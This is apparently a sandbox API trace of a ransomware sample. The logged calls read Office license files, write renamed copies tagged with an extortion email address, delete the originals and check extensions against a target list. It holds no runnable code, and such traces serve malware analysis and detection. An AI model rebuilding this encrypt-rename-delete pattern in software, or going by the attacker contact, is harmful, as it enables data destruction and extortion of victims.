	[0198.783] SetEndOfFile (hFile=0x590) returned 1
	[0198.783] CloseHandle (hObject=0x590) returned 1
	[0198.783] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.783] SetEndOfFile (hFile=0x538) returned 1
	[0198.786] CloseHandle (hObject=0x538) returned 1
	[0198.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.786] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms")) returned 1
	[0198.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0198.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0198.787] lstrlenW (lpString=".doc") returned 4
	[0198.787] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.787] lstrlenW (lpString=".docx") returned 5
	[0198.787] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.787] lstrlenW (lpString=".pdf") returned 4
	[0198.787] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.787] lstrlenW (lpString=".xls") returned 4
	[0198.787] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.787] lstrlenW (lpString=".xlsx") returned 5
	[0198.787] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.787] lstrlenW (lpString=".ppt") returned 4
	[0198.787] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0198.788] lstrlenW (lpString=".zip") returned 4
	[0198.788] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.788] lstrlenW (lpString=".rar") returned 4
	[0198.788] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.788] lstrlenW (lpString=".bz2") returned 4
	[0198.788] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.788] lstrlenW (lpString=".7z") returned 3
	[0198.788] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0198.788] lstrlenW (lpString=".dbf") returned 4
	[0198.788] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0198.788] lstrlenW (lpString=".1cd") returned 4
	[0198.788] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0198.788] lstrlenW (lpString=".jpg") returned 4
	[0198.788] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0198.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0198.788] lstrlenW (lpString=".doc") returned 4
	[0198.788] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.788] lstrlenW (lpString=".docx") returned 5
	[0198.788] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.788] lstrlenW (lpString=".pdf") returned 4
	[0198.788] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.788] lstrlenW (lpString=".xls") returned 4
	[0198.788] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.788] lstrlenW (lpString=".xlsx") returned 5
	[0198.788] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.788] lstrlenW (lpString=".ppt") returned 4
	[0198.788] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0198.789] lstrlenW (lpString=".zip") returned 4
	[0198.789] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.789] lstrlenW (lpString=".rar") returned 4
	[0198.789] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.789] lstrlenW (lpString=".bz2") returned 4
	[0198.789] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.789] lstrlenW (lpString=".7z") returned 3
	[0198.789] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0198.789] lstrlenW (lpString=".dbf") returned 4
	[0198.789] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0198.789] lstrlenW (lpString=".1cd") returned 4
	[0198.789] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0198.789] lstrlenW (lpString=".jpg") returned 4
	[0198.789] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.789] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0198.789] lstrlenW (lpString="MondoR_SubTrial-ppd.xrm-ms") returned 26
	[0198.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0198.790] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=26525) returned 1
	[0198.790] CloseHandle (hObject=0x538) returned 1
	[0198.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms")) returned 0x220
	[0198.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0198.791] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.791] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0198.791] GetLastError () returned 0x0
	[0198.791] ReadFile (in: hFile=0x538, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x679d, lpOverlapped=0x0) returned 1
	[0199.002] WriteFile (in: hFile=0x590, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x67a0, lpOverlapped=0x0) returned 1
	[0199.004] ReadFile (in: hFile=0x538, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.004] WriteFile (in: hFile=0x590, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x108, lpOverlapped=0x0) returned 1
	[0199.004] SetEndOfFile (hFile=0x590) returned 1
	[0199.360] CloseHandle (hObject=0x590) returned 1
	[0199.360] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.360] SetEndOfFile (hFile=0x538) returned 1
	[0199.363] CloseHandle (hObject=0x538) returned 1
	[0199.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.364] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms")) returned 1
	[0199.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0199.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0199.365] lstrlenW (lpString=".doc") returned 4
	[0199.365] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.365] lstrlenW (lpString=".docx") returned 5
	[0199.365] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.365] lstrlenW (lpString=".pdf") returned 4
	[0199.365] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.365] lstrlenW (lpString=".xls") returned 4
	[0199.365] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.365] lstrlenW (lpString=".xlsx") returned 5
	[0199.365] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.365] lstrlenW (lpString=".ppt") returned 4
	[0199.365] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0199.365] lstrlenW (lpString=".zip") returned 4
	[0199.365] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.365] lstrlenW (lpString=".rar") returned 4
	[0199.365] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.365] lstrlenW (lpString=".bz2") returned 4
	[0199.365] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.365] lstrlenW (lpString=".7z") returned 3
	[0199.365] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0199.366] lstrlenW (lpString=".dbf") returned 4
	[0199.366] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0199.366] lstrlenW (lpString=".1cd") returned 4
	[0199.366] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0199.366] lstrlenW (lpString=".jpg") returned 4
	[0199.366] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0199.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0199.366] lstrlenW (lpString=".doc") returned 4
	[0199.366] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.366] lstrlenW (lpString=".docx") returned 5
	[0199.366] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.366] lstrlenW (lpString=".pdf") returned 4
	[0199.366] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.366] lstrlenW (lpString=".xls") returned 4
	[0199.366] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.366] lstrlenW (lpString=".xlsx") returned 5
	[0199.366] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.366] lstrlenW (lpString=".ppt") returned 4
	[0199.366] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0199.366] lstrlenW (lpString=".zip") returned 4
	[0199.366] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.366] lstrlenW (lpString=".rar") returned 4
	[0199.366] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.366] lstrlenW (lpString=".bz2") returned 4
	[0199.366] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.367] lstrlenW (lpString=".7z") returned 3
	[0199.367] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0199.367] lstrlenW (lpString=".dbf") returned 4
	[0199.367] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0199.367] lstrlenW (lpString=".1cd") returned 4
	[0199.367] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0199.367] lstrlenW (lpString=".jpg") returned 4
	[0199.367] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.367] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0199.367] lstrlenW (lpString="MondoVL_KMS_Client-ppd.xrm-ms") returned 29
	[0199.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0199.377] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=12479) returned 1
	[0199.377] CloseHandle (hObject=0x5bc) returned 1
	[0199.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms")) returned 0x220
	[0199.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0199.378] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.378] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0199.379] GetLastError () returned 0x0
	[0199.379] ReadFile (in: hFile=0x5bc, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x30bf, lpOverlapped=0x0) returned 1
	[0199.381] WriteFile (in: hFile=0x594, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x30c0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x30c0, lpOverlapped=0x0) returned 1
	[0199.382] ReadFile (in: hFile=0x5bc, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.382] WriteFile (in: hFile=0x594, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0199.382] SetEndOfFile (hFile=0x594) returned 1
	[0199.383] CloseHandle (hObject=0x594) returned 1
	[0199.383] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.383] SetEndOfFile (hFile=0x5bc) returned 1
	[0199.386] CloseHandle (hObject=0x5bc) returned 1
	[0199.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.386] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms")) returned 1
	[0199.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0199.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0199.387] lstrlenW (lpString=".doc") returned 4
	[0199.387] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.387] lstrlenW (lpString=".docx") returned 5
	[0199.387] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.387] lstrlenW (lpString=".pdf") returned 4
	[0199.387] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.387] lstrlenW (lpString=".xls") returned 4
	[0199.387] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.387] lstrlenW (lpString=".xlsx") returned 5
	[0199.387] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.387] lstrlenW (lpString=".ppt") returned 4
	[0199.387] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0199.387] lstrlenW (lpString=".zip") returned 4
	[0199.387] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.387] lstrlenW (lpString=".rar") returned 4
	[0199.387] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.387] lstrlenW (lpString=".bz2") returned 4
	[0199.387] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.387] lstrlenW (lpString=".7z") returned 3
	[0199.387] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0199.387] lstrlenW (lpString=".dbf") returned 4
	[0199.388] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0199.388] lstrlenW (lpString=".1cd") returned 4
	[0199.388] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0199.388] lstrlenW (lpString=".jpg") returned 4
	[0199.388] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0199.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0199.388] lstrlenW (lpString=".doc") returned 4
	[0199.388] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.388] lstrlenW (lpString=".docx") returned 5
	[0199.388] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.388] lstrlenW (lpString=".pdf") returned 4
	[0199.388] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.388] lstrlenW (lpString=".xls") returned 4
	[0199.388] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.388] lstrlenW (lpString=".xlsx") returned 5
	[0199.388] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.388] lstrlenW (lpString=".ppt") returned 4
	[0199.388] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0199.388] lstrlenW (lpString=".zip") returned 4
	[0199.388] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.388] lstrlenW (lpString=".rar") returned 4
	[0199.388] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.388] lstrlenW (lpString=".bz2") returned 4
	[0199.388] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.388] lstrlenW (lpString=".7z") returned 3
	[0199.388] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0199.389] lstrlenW (lpString=".dbf") returned 4
	[0199.389] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0199.389] lstrlenW (lpString=".1cd") returned 4
	[0199.389] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0199.389] lstrlenW (lpString=".jpg") returned 4
	[0199.389] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.389] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0199.389] lstrlenW (lpString="MondoVL_KMS_Client-ul.xrm-ms") returned 28
	[0199.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0199.390] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=9601) returned 1
	[0199.390] CloseHandle (hObject=0x5bc) returned 1
	[0199.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms")) returned 0x220
	[0199.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0199.390] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.390] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0199.391] GetLastError () returned 0x0
	[0199.391] ReadFile (in: hFile=0x5bc, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x2581, lpOverlapped=0x0) returned 1
